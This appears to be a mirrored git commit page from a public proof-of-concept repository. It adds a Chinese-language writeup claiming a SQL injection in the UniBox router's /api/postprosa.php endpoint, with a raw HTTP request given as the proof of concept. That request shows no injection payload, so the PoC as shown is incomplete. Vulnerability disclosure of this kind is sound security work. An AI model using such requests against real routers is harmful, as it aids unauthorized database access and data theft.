admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-06-21 10:21:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update and rename unibox路由器postprosa存在SQL注入.md to unibox路由器postprosa接口存在SQL注入.md

Browse Source
This commit is contained in:
Rainyseason 2025-06-11 14:46:41 +08:00 committed by GitHub
parent a6b9e02861
commit 296a27ce33
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 17 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
wpoc/unibox路由器/unibox路由器postprosa存在SQL注入.md
View File

@ -1 +0,0 @@

17
wpoc/unibox路由器/unibox路由器postprosa接口存在SQL注入.md Normal file
View File

@ -0,0 +1,17 @@
# unibox路由器postprosa接口存在SQL注入
# 漏洞描述
Description: UniBox 是一款一体化网络/热点控制器，可以部署为管理公共 WiFi 热点的热点网关，也可以部署为办公室和企业的网络控制器。unibox路由器postprosa存在SQL注入漏洞，攻击者可以根据该漏洞获取数据库权限，查看大量敏感信息。
## poc
```javascript
GET /api/postprosa.php HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Cookie: http304ok=0; PHPSESSID=pvpehubud7epklbme9m4s69b0q;
Connection: close
```